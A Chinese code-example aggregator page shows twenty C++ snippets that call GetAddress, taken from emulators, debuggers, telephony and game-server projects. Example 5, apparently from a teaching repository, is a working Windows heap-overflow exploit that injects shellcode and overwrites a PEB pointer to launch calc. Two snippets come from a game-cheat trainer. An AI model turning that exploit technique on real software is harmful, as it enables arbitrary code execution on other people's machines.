本文整理汇总了C++中GetAddress函数的典型用法代码示例。如果您正苦于以下问题:C++ GetAddress函数的具体用法?C++ GetAddress怎么用?C++ GetAddress使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetAddress函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: ParseHLTV
void ProxyClient::ParseHLTV(NetPacket *packet)
{
unsigned char cmd = packet->data.ReadByte();
if (cmd != HLTV_STATUS) {
m_System->Printf("WARNING! unknown HLTV client msg %i\n", cmd);
return;
}
if (m_ClientType != TYPE_PROXY) {
m_System->DPrintf("WARNING! HLTV status data from spectator client\n");
packet->data.SkipBytes(12);
return;
}
m_Proxy->ParseStatusReport(GetAddress(), &packet->data);
}
开发者ID:theAsmodai,项目名称:rehlds,代码行数:16,代码来源:ProxyClient.cpp
示例2: Read
bool MemoryExpression::Read(CpuContext *pCpuCtxt, MemoryContext* pMemCtxt, VariableContext* pVarCtxt, u64& rValue, bool SignExtend) const
{
Address DstAddr;
if (GetAddress(pCpuCtxt, pMemCtxt, pVarCtxt, DstAddr) == false)
return false;
u64 LinAddr = 0;
if (pCpuCtxt->Translate(DstAddr, LinAddr) == false)
LinAddr = DstAddr.GetOffset();
if (m_Dereference == true)
return pMemCtxt->ReadMemory(LinAddr, &rValue, m_AccessSizeInBit / 8);
rValue = LinAddr;
return true;
}
开发者ID:GrimDerp,项目名称:medusa,代码行数:16,代码来源:expression.cpp
示例3: GetAddress
void CTM2Hack::NoPlatformCounterIncrease(void)
{
static CNop Fix;
Fix.Initialize(this, GetAddress("NoPlatCount"), 1);
if (!Fix.IsEnabled())
{
Fix.Enable();
SoundUpdate(SOUND_ON);
}
else
{
Fix.Disable();
SoundUpdate(SOUND_OFF);
}
}
开发者ID:copymark,项目名称:TM-Trainer,代码行数:16,代码来源:TM2Hack.cpp
示例4: IT_GLOBALENTRYHANDLE
void
IT_GLOBALENTRYHANDLE (ENV *envp,LONGPROC f)
{
DWORD retcode,dwSize;
UINT uSel,uIndex;
LPBYTE lpData;
GLOBALENTRY ge;
LPMODULEINFO lpModInfo;
extern MODULEINFO *lpModuleTable[];
lpData = (LPBYTE)GetAddress(GETWORD(SP+8), GETWORD(SP+6));
dwSize = GETDWORD(lpData);
if (dwSize != (3*DWORD_86 + HANDLE_86 + 3*WORD_86 + INT_86 +
HANDLE_86 + 2*WORD_86 + 2*DWORD_86))
retcode = 0;
else {
ge.dwSize = sizeof(GLOBALENTRY);
uSel = (UINT)GETWORD(SP+4);
if ((retcode = (DWORD)GlobalEntryHandle(&ge,GetSelectorHandle(uSel)))) {
PUTDWORD(lpData+4,ge.dwAddress);
PUTDWORD(lpData+8,ge.dwBlockSize);
PUTWORD(lpData+12,ge.hBlock);
PUTWORD(lpData+14,ge.wcLock);
PUTWORD(lpData+16,ge.wcPageLock);
PUTWORD(lpData+18,ge.wFlags);
PUTWORD(lpData+20,ge.wHeapPresent);
#ifdef LATER
PUTWORD(lpData+22,ge.hOwner);
#else
/* this is a kludge to run DELPHI */
if (!(uIndex = (UINT)GetModuleIndex(uSel)))
/* this is an index for KERNEL (maybe!) */
uIndex = 1;
lpModInfo = lpModuleTable[uIndex];
PUTWORD(lpData+22,lpModInfo->ObjHead.hObj);
#endif
PUTWORD(lpData+24,ge.wType);
PUTWORD(lpData+26,ge.wData);
PUTDWORD(lpData+28,ge.dwNext);
PUTDWORD(lpData+32,ge.dwNextAlt);
}
}
envp->reg.sp += LP_86 + HANDLE_86 + RET_86;
envp->reg.ax = LOWORD(retcode);
envp->reg.dx = HIWORD(retcode);
}
开发者ID:ErisBlastar,项目名称:osfree,代码行数:47,代码来源:MemoryIF.c
示例5: main
int main()
{
unsigned char buffer[300]="";
unsigned char heap[8]="";
unsigned char pebf[8]="";
unsigned char shellcode[200]="";
unsigned int address_of_system = 0;
unsigned int address_of_RtlEnterCriticalSection = 0;
unsigned char tmp[8]="";
unsigned int cnt = 0;
printf("Getting addresses...\n");
address_of_system = GetAddress("msvcrt.dll","system");
address_of_RtlEnterCriticalSection = GetAd-dress("ntdll.dll","RtlEnterCriticalSection");
if(address_of_system == 0 || ad-dress_of_RtlEnterCriticalSection == 0)
return printf("Failed to get addresses\n");
printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);
printf("Address of ntdll.RtlEnterCriticalSection\t= %.8X\n",address_of_RtlEnterCriticalSection);
strcpy(buffer,"heap1 ");
// Shellcode - repairs the PEB then calls system("calc");
strcat(buffer,"\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64\x8B\x01\xB9");
fixupaddresses(tmp,address_of_RtlEnterCriticalSection);
strcat(buffer,tmp);
strcat(buffer,"\x89\x48\x20\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");
fixupaddresses(tmp,address_of_system);
strcat(buffer,tmp);
strcat(buffer,"\xFF\xD1");
// Padding
while(cnt < 58)
{
strcat(buffer,"DDDD");
cnt ++;
}
// Pointer to RtlEnterCriticalSection pointer - 4 in PEB
strcat(buffer,"\x1C\xF0\xFD\x7f");
// Pointer to heap and thus shellcode
strcat(buffer,"\x88\x06\x35");
strcat(buffer,"\"");
printf("\nExecuting heap1.exe... calc should open.\n");
system(buffer);
return 0;
}
开发者ID:0xr0ot,项目名称:shellcoderhandbook,代码行数:47,代码来源:Shellcoders08sampleprogram05.c
示例6: MessageBox
void cTrackManiaHack::CheckVersion(void)
{
if (!this->m_hGameHandle)
{
MessageBox(NULL, "Start Trackmania first to do a version check", "ERROR - Invalid Game Handle", MB_ICONERROR);
return;
}
char gameversion[8];
DWORD gameVersionAddress = 0;
ReadAddress(GetAddress("Version"), &gameVersionAddress, sizeof(DWORD));
ReadAddress(gameVersionAddress, gameversion, sizeof(gameversion));
char versionInfo[255];
sprintf_s(versionInfo, sizeof(versionInfo), "Supported Version: %s\nGame Version: %s\n-----------\nIf the version differs you may have luck. The Trainer does pattern scanning so it should find the new (or older) addresses as well", GAMEVERSION, gameversion);
MessageBox(NULL, versionInfo, "Version Check", NULL);
}
开发者ID:copymark,项目名称:TM-Trainer,代码行数:17,代码来源:cTrackManiaUnitedHack.cpp
示例7: SPADES_MARK_FUNCTION
void MainScreenHelper::SetServerFavorite(std::string ip, bool favorite) {
SPADES_MARK_FUNCTION();
if (favorite) {
favorites.insert(ip);
} else {
favorites.erase(ip);
}
if (result && !result->list.empty()) {
auto entry = std::find_if(
result->list.begin(), result->list.end(),
[&](MainScreenServerItem *entry) { return entry->GetAddress() == ip; });
if (entry != result->list.end()) {
(*entry)->SetFavorite(favorite);
}
}
}
开发者ID:yvt,项目名称:openspades,代码行数:17,代码来源:MainScreenHelper.cpp
示例8: assert
bool SimulatorTransport::InternalSendPacket( const Address & to, const void * packetData, int packetBytes )
{
assert( m_networkSimulator );
Allocator & allocator = m_networkSimulator->GetAllocator();
uint8_t * packetDataCopy = (uint8_t*) allocator.Allocate( packetBytes );
if ( !packetDataCopy )
return false;
memcpy( packetDataCopy, packetData, packetBytes );
m_networkSimulator->SendPacket( GetAddress(), to, packetDataCopy, packetBytes );
return true;
}
开发者ID:Cloven,项目名称:libyojimbo,代码行数:17,代码来源:yojimbo_simulator.cpp
示例9: UpdateDisplayAddress
// updates the outlook display address; call this after changing address fields
bool MAPIContact::UpdateDisplayAddress(ContactAddress::AddressType nType) {
#ifdef _WIN32_WCE
return false;
#else
ContactAddress address;
if(!GetAddress(address, nType))
return false;
String strDisplayAddress;
strDisplayAddress = Format(t_("%s\r\n%s %s %s\r\n%s"), address.m_strStreet,
address.m_strCity,address.m_strStateOrProvince,
address.m_strPostalCode,address.m_strCountry);
ULONG ulProperty = OUTLOOK_DISPLAY_ADDRESS_HOME+(int)nType;
return SetOutlookProperty(OUTLOOK_DATA1,ulProperty, strDisplayAddress);
#endif
}
开发者ID:AbdelghaniDr,项目名称:mirror,代码行数:18,代码来源:MAPIContact.cpp
示例10: re
void GLGSRender::Flip()
{
if(m_read_buffer)
{
gcmBuffer* buffers = (gcmBuffer*)Memory.GetMemFromAddr(m_gcm_buffers_addr);
u32 width = re(buffers[m_gcm_current_buffer].width);
u32 height = re(buffers[m_gcm_current_buffer].height);
u32 addr = GetAddress(re(buffers[m_gcm_current_buffer].offset), CELL_GCM_LOCATION_LOCAL);
if(Memory.IsGoodAddr(addr))
{
//TODO
//buffer rotating
static Array<u8> pixels;
pixels.SetCount(width * height * 4);
u8* src = (u8*)Memory.VirtualToRealAddr(addr);
for(u32 y=0; y<height; ++y)
{
memcpy(pixels + (height - y - 1) * width * 4, src + y * width * 4, width * 4);
}
glDrawPixels(width, height, GL_BGRA, GL_UNSIGNED_INT_8_8_8_8, pixels.GetPtr());
}
}
else if(m_fbo.IsCreated())
{
m_fbo.Bind(GL_READ_FRAMEBUFFER);
GLfbo::Bind(GL_DRAW_FRAMEBUFFER, 0);
GLfbo::Blit(
m_surface_clip_x, m_surface_clip_y, m_surface_clip_x + m_surface_clip_w, m_surface_clip_y + m_surface_clip_h,
m_surface_clip_x, m_surface_clip_y, m_surface_clip_x + m_surface_clip_w, m_surface_clip_y + m_surface_clip_h,
GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT, GL_NEAREST);
m_fbo.Bind();
}
for(uint i=0; i<m_post_draw_objs.GetCount(); ++i)
{
m_post_draw_objs[i].Draw();
}
m_frame->Flip();
if(m_fbo.IsCreated())
m_fbo.Bind();
}
开发者ID:BagusThanatos,项目名称:rpcs3,代码行数:46,代码来源:GLGSRender.cpp
示例11: SafeDelete
void EVEClientSession::FastQueuePacket( PyPacket** p )
{
if(p == NULL || *p == NULL)
return;
PyRep* r = (*p)->Encode();
// maybe change PyPacket to a object with a reference..
SafeDelete( *p );
if( r == NULL )
{
sLog.Error("Network", "%s: Failed to encode a Fast queue packet???", GetAddress().c_str());
return;
}
mNet->QueueRep( r );
PyDecRef( r );
}
开发者ID:Almamu,项目名称:evemu_crucible,代码行数:17,代码来源:EVESession.cpp
示例12: SetPostalAddress
// Sets the PR_POSTAL_ADDRESS text and checks the appropriate outlook checkbox by setting the index
bool MAPIContact::SetPostalAddress(ContactAddress::AddressType nType) {
#ifdef _WIN32_WCE
return false;
#else
ContactAddress address;
if(!GetAddress(address, nType))
return false;
String strPostalAddress;
strPostalAddress = Format(t_("%s\r\n%s %s %s\r\n%s"),address.m_strStreet, address.m_strCity,
address.m_strStateOrProvince,address.m_strPostalCode,address.m_strCountry);
if(!SetPropertyString(PR_POSTAL_ADDRESS, strPostalAddress))
return false;
return SetOutlookProperty(OUTLOOK_DATA1, OUTLOOK_POSTAL_ADDRESS, (int)nType+1);
#endif
}
开发者ID:AbdelghaniDr,项目名称:mirror,代码行数:18,代码来源:MAPIContact.cpp
示例13: GetLineDevCaps
/*****************************************************************************
** Procedure: CJTLine::read
**
** Arguments: 'istm' - Input stream
**
** Returns: pointer to istm
**
** Description: This function is called to serialize data in from the
** registry. The line object has already been completely
** initialized by the TSP++ library
**
*****************************************************************************/
TStream& CJTLine::read(TStream& istm)
{
// Adjust the line device capabilities. We don't support any of the
// line device capability flags, and don't need dialing parameters since the
// switch doesn't allow them to be adjusted.
LPLINEDEVCAPS lpCaps = GetLineDevCaps();
lpCaps->dwDevCapFlags = 0;
lpCaps->dwUUICallInfoSize = 1024;
lpCaps->dwLineStates &= ~(LINEDEVSTATE_RINGING | LINEDEVSTATE_MSGWAITON | LINEDEVSTATE_MSGWAITOFF |
LINEDEVSTATE_NUMCOMPLETIONS | LINEDEVSTATE_TERMINALS | LINEDEVSTATE_ROAMMODE |
LINEDEVSTATE_BATTERY | LINEDEVSTATE_SIGNAL | LINEDEVSTATE_LOCK | LINEDEVSTATE_COMPLCANCEL |
LINEDEVSTATE_MAINTENANCE);
// Adjust our address information
CTSPIAddressInfo* pAddress = GetAddress(0);
_TSP_ASSERTE (pAddress != NULL);
LINEADDRESSCAPS* lpACaps = pAddress->GetAddressCaps();
lpACaps->dwMaxCallDataSize = MAXCALLDATA_SIZE;
lpACaps->dwCallerIDFlags =
lpACaps->dwConnectedIDFlags =
lpACaps->dwRedirectionIDFlags =
lpACaps->dwRedirectingIDFlags =
lpACaps->dwCalledIDFlags =
lpACaps->dwCalledIDFlags & ~LINECALLPARTYID_PARTIAL;
lpACaps->dwCallStates &= ~(LINECALLSTATE_SPECIALINFO | LINECALLSTATE_RINGBACK);
lpACaps->dwDialToneModes &= ~LINEDIALTONEMODE_SPECIAL;
lpACaps->dwDisconnectModes &= ~LINEDISCONNECTMODE_REJECT;
// Adjust the various line properties based on the type of line this is.
if (GetLineType() == Station)
InitializeStation();
else if (GetLineType() == RoutePoint)
InitializeRoutePoint();
else if (GetLineType() == Queue)
InitializeQueue();
else if (GetLineType() == PredictiveDialer)
InitializeDialer();
else if (GetLineType() == VRU)
InitializeVRU();
// We didn't read any extra information from the stream.
return CTSPILineConnection::read(istm);
}// CJTLine::read
开发者ID:junction,项目名称:jn-tapi,代码行数:57,代码来源:Line.cpp
示例14: GetAddress
/*****************************************************************************
** Procedure: CJTLine::OnAgentGroupChange
**
** Arguments: 'dwPrimary' - Primary agent group
** 'dwSecondary' - Secondary agent group
**
** Returns: void
**
** Description: This function changes our agent groups to reflect the
** current reported state of the station
**
*****************************************************************************/
void CJTLine::OnAgentGroupChange(LPCTSTR pszAgentID, DWORD dwPrimary, DWORD dwSecondary)
{
// Remove any existing agent information from the address
CTSPIAddressInfo* pAddr = GetAddress(0);
pAddr->RemoveAllAgentGroups();
// Add the two agent groups if they exist.
pAddr->AddAgentGroup(0, 0, 0, 0, pszAgentID); // AgentID
pAddr->AddAgentGroup(0, 0, 0, 0, NULL); // Password
pAddr->AddAgentGroup(dwPrimary); // Primary group
pAddr->AddAgentGroup(dwSecondary); // Secondary group
// Notify TAPI that the agent groups have changed. This isn't done
// automatically by TSP++ for the AddCurrentAgentGroup() since it may
// be called many times and we don't want to send more than one event.
pAddr->OnAgentStatusChanged(LINEAGENTSTATUS_GROUP);
}// CJTLine::OnAgentGroupChange
开发者ID:junction,项目名称:jn-tapi,代码行数:30,代码来源:Agent.cpp
示例15: dbg_start_process
//--------------------------------------------------------------------------
int idaapi dosbox_debmod_t::dbg_start_process(
const char *path,
const char *args,
const char * /*startdir*/,
int /* flags */,
const char * /*input_path*/,
uint32 /* input_file_crc32 */)
{
entry_point = (ea_t)GetAddress(SegValue(cs), reg_eip);
printf("entry_point = %x\n", entry_point);
app_base = find_app_base();
printf("app_base = %x\n", app_base);
stack = SegValue(ss);
printf("name %s \n",path);
create_process_start_event(path);
return 1;
}
开发者ID:nihilus,项目名称:idados,代码行数:19,代码来源:dosbox_debmod.cpp
示例16: GetMT
void Object::CalculateSizeAndPointers() const
{
TADDR mt = GetMT();
MethodTableInfo* info = g_special_mtCache.Lookup((DWORD_PTR)mt);
if (!info->IsInitialized())
{
// this is the first time we see this method table, so we need to get the information
// from the target
FillMTData();
info->BaseSize = mMTData->BaseSize;
info->ComponentSize = mMTData->ComponentSize;
info->bContainsPointers = mMTData->bContainsPointers;
// The following request doesn't work on older runtimes. For those, the
// objects would just look like non-collectible, which is acceptable.
DacpMethodTableCollectibleData mtcd;
if (SUCCEEDED(mtcd.Request(g_sos, GetMT())))
{
info->bCollectible = mtcd.bCollectible;
info->LoaderAllocatorObjectHandle = TO_TADDR(mtcd.LoaderAllocatorObjectHandle);
}
}
if (mSize == (size_t)~0)
{
mSize = info->BaseSize;
if (info->ComponentSize)
{
// this is an array, so the size has to include the size of the components. We read the number
// of components from the target and multiply by the component size to get the size.
mSize += info->ComponentSize * GetNumComponents(GetAddress());
}
// On x64 we do an optimization to save 4 bytes in almost every string we create.
#ifdef _WIN64
// Pad to min object size if necessary
if (mSize < min_obj_size)
mSize = min_obj_size;
#endif // _WIN64
}
mPointers = info->bContainsPointers != FALSE;
}
开发者ID:A-And,项目名称:coreclr,代码行数:44,代码来源:sos.cpp
示例17: VARIANT_Eval
HRESULT WINAPI VARIANT_Eval( DWORD addr, DEBUGHELPER *pH, int nBase, BOOL bUniStrings, char *pResult, size_t maxlen, DWORD reserved )
{
VARIANT var;
DWORDLONG llAddr =GetAddress(pH,addr);
if(!ReadMem(pH, llAddr, &var) ) return E_FAIL;
std::string res;
if(! variant_as_string(pH, var, &res ) ) return E_FAIL;
std::ostringstream os;
if(( var.vt & VT_ARRAY ) ==0) // arrays have their own type display.
os << vt_as_string(var.vt) << ' ';
os << res;
strncpy(pResult, os.str().c_str(), maxlen);
pResult[maxlen-1] ='\0';
return S_OK;
}
开发者ID:UIKit0,项目名称:comet,代码行数:19,代码来源:CometAutoExp.cpp
示例18: GetAddress
void GLGSRender::WriteColourBufferD()
{
if(!m_set_context_dma_color_d)
{
return;
}
u32 address = GetAddress(m_surface_offset_d, m_context_dma_color_d - 0xfeed0000);
if(!Memory.IsGoodAddr(address))
{
ConLog.Warning("Bad colour buffer d address: address=0x%x, offset=0x%x, dma=0x%x", address, m_surface_offset_d, m_context_dma_color_d);
return;
}
glReadBuffer(GL_COLOR_ATTACHMENT3);
checkForGlError("glReadBuffer(GL_COLOR_ATTACHMENT3)");
glReadPixels(0, 0, RSXThread::m_width, RSXThread::m_height, GL_RGBA, GL_UNSIGNED_INT_8_8_8_8, &Memory[address]);
checkForGlError("glReadPixels(GL_RGBA, GL_UNSIGNED_INT_8_8_8_8)");
}
开发者ID:benpicco,项目名称:rpcs3,代码行数:19,代码来源:GLGSRender.cpp
示例19: DEBUG_RemoteStep
//--------------------------------------------------------------------------
int idaapi dosbox_debmod_t::dbg_set_resume_mode(thid_t tid, resume_mode_t resmod)
{
if ( resmod != RESMOD_INTO )
return 0; // not supported
stepping[tid] = true;
dosbox_step_ret = DEBUG_RemoteStep(); //fixme step return.
debug_event_t ev;
ev.eid = STEP;
ev.pid = NO_PROCESS;
ev.tid = NO_PROCESS;
ev.ea =(ea_t)GetAddress(SegValue(cs),reg_ip);
ev.handled = false;
events.enqueue(ev, IN_BACK);
return 1;
}
开发者ID:nihilus,项目名称:idados,代码行数:20,代码来源:dosbox_debmod.cpp
示例20: OLEDateTimeSpan_Eval
HRESULT WINAPI OLEDateTimeSpan_Eval( DWORD dwAddress, DEBUGHELPER *pHelper, int nBase, BOOL bUniStrings, char *pResult, size_t maxlen, DWORD reserved )
{
DWORDLONG address = GetAddress( pHelper, dwAddress);
long status;
if( !ReadMem( pHelper, address+sizeof(long), &status) )
return E_FAIL;
switch (status)
{
case 1:
strcpy(pResult, "invalid");
return S_OK;
case 2:
strcpy(pResult, "null");
return S_OK;
}
// Same as Period.
return Period_Evaluate(dwAddress, pHelper, nBase, bUniStrings, pResult, maxlen, reserved);
}
开发者ID:UIKit0,项目名称:comet,代码行数:19,代码来源:CometAutoExp.cpp
注:本文中的GetAddress函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论